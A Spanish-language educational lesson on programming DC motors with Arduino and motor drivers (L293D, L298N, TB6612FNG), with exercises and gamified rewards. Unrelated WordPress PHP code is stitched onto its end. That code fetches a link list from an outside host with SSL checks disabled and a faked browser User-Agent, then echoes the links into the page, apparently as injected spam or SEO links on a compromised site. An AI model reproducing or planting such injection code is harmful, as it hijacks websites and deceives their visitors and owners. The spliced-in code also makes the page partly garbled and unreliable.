Be Maker

Loading...

Be Maker

section-icon

Maker Lab

¡Porque cada gran inventor necesita un buen laboratorio! Aquí encontrarás proyectos paso a paso, mini guías y recursos sobre electrónica, diseño 3D, programación y robótica.

Uncategorized - octubre 25, 2025

Programación de Motores DC

1

TechMentor

@admin

LECCIÓN 03

Para obtener tu recompensa debes estar registrado en nuestra plataforma y publicar tu trabajo

🧠 ¿Qué aprendo?

  • Comprender el funcionamiento de un motor DC
  • Control de encendido/apagado
  • Controlar la velocidad

📝 Conocimientos previos

  • Señales digitales
  • Variables
  • Uso de condicionales

🖥️ El Motor DC

💡 Un motor de corriente continua (CC) es una máquina giratoria que convierte energía eléctrica en energía mecánica. Esta funcionalidad está basada en el principio de inducción, bajo el cual se crea una fuerza electromagnética a partir de una corriente de entrada que, a la vez, crea un movimiento giratorio.

🧠 Podemos aumentar o disminuir la velocidad variando el voltaje, además de cambiar el sentido de giro cambiando la polaridad en el motor.

🖥️ El driver L293D

💡 El L293D es un «puente» que conecta tu Arduino con los motores. Permite que tu Arduino, que solo maneja pequeñas señales eléctricas, controle motores más grandes que necesitan más energía.

🖥️ El driver L298N

💡 El L298N es un «puente» más robusto que conecta tu Arduino con motores más grandes que el L293D. Permite que tu Arduino, que solo maneja pequeñas señales eléctricas, controle motores que necesitan más energía.

🖥️ El driver de TB6612FNG

💡 El TB6612FNG es una versión más moderna y eficiente de los controladores de motor, como el L293D y L298N. En términos sencillos, es como un adaptador mejorado y más pequeño que permite a tu Arduino controlar dos motores de corriente continua. A diferencia del L298N, que es más antiguo y grande, el TB6612FNG usa una tecnología más avanzada llamada MOSFET, lo que lo hace más eficiente y compacto.

🖥️ Conexión del driver al motor DC

💡 Lo primero que realizaremos será conectar nuestro driver al Arduino y Motor DC.

L293D – TinkerCad

L298N – ArduinoBlocks y Arduino

TB6612FNG – ArduinoBlocks y Arduino

📋 Ejemplo N° 1: Girando un Motor

➡️ Ingresamos a la Cuenta de Tinkercad de miMakerHouse Talleres Regulares y hacemos clic en «Unirse con apodo». Ahí colocamos nuestro nombre de usuario (primerNombre.primerApellido)

Simulación de Circuitos con TinkerCad

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación de los Motores DC para que el motor conectado gire en un sentido por siempre..

💻 Código

⚔️Desafío 01: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

Plataforma ArduinoBlocks

🧠 Utiliza la información del ejercicio «Girando un Motor» para que el motor pueda ir hacia adelante por 3 segundos, y luego se detenga.

⚔️Desafío 02: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

Plataforma ArduinoBlocks

🧠 Utiliza la información del ejercicio «Girando un Motor» para que tu motor gire por 3 segundos, se detenga por dos segundos y por último gire en sentido contrario por siempre..

📋 Ejemplo N° 2: Controlando el motor con un botón

Plataforma ArduinoBlocks

💻 Descripción

🧠 Ahora accionaremos el motor para que solo gire si se presiona un botón.

💻 Circuito

💻 Código

¡Estamos listos, a construir!

💰Recompensa: 10 Monedas de Oro – 5 Cristales de Experiencia

Plataforma ArduinoBlocks

➡️ RETO 01: Realizar la programación para que el motor gire en un sentido cuando se presiona el botón y gire en sentido contrario al soltar el botón.

➡️ RETO 02: Realizar la programación para que tu robot pueda girar en un sentido mientras el primer botón se presiona, al soltar el botón, el motor debe dejar de girar, al presionar el otro botón, el motor debe girar en sentido contrario, al soltar dicho botón, el motor debe detenerse.

💻 Circuito

➡️ RETO 03: Utilizar un solo botón, para que al presionarlo una vez, el motor se mantenga girando en un sentido, al volverlo a presionar, el motor se detenga y así sucesivamente.


Recuerda

🧠 Para que tu cerebro electrónico pueda mover los motores DC de tu robot, necesitan la ayuda de un driver o controlador de corriente.

$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }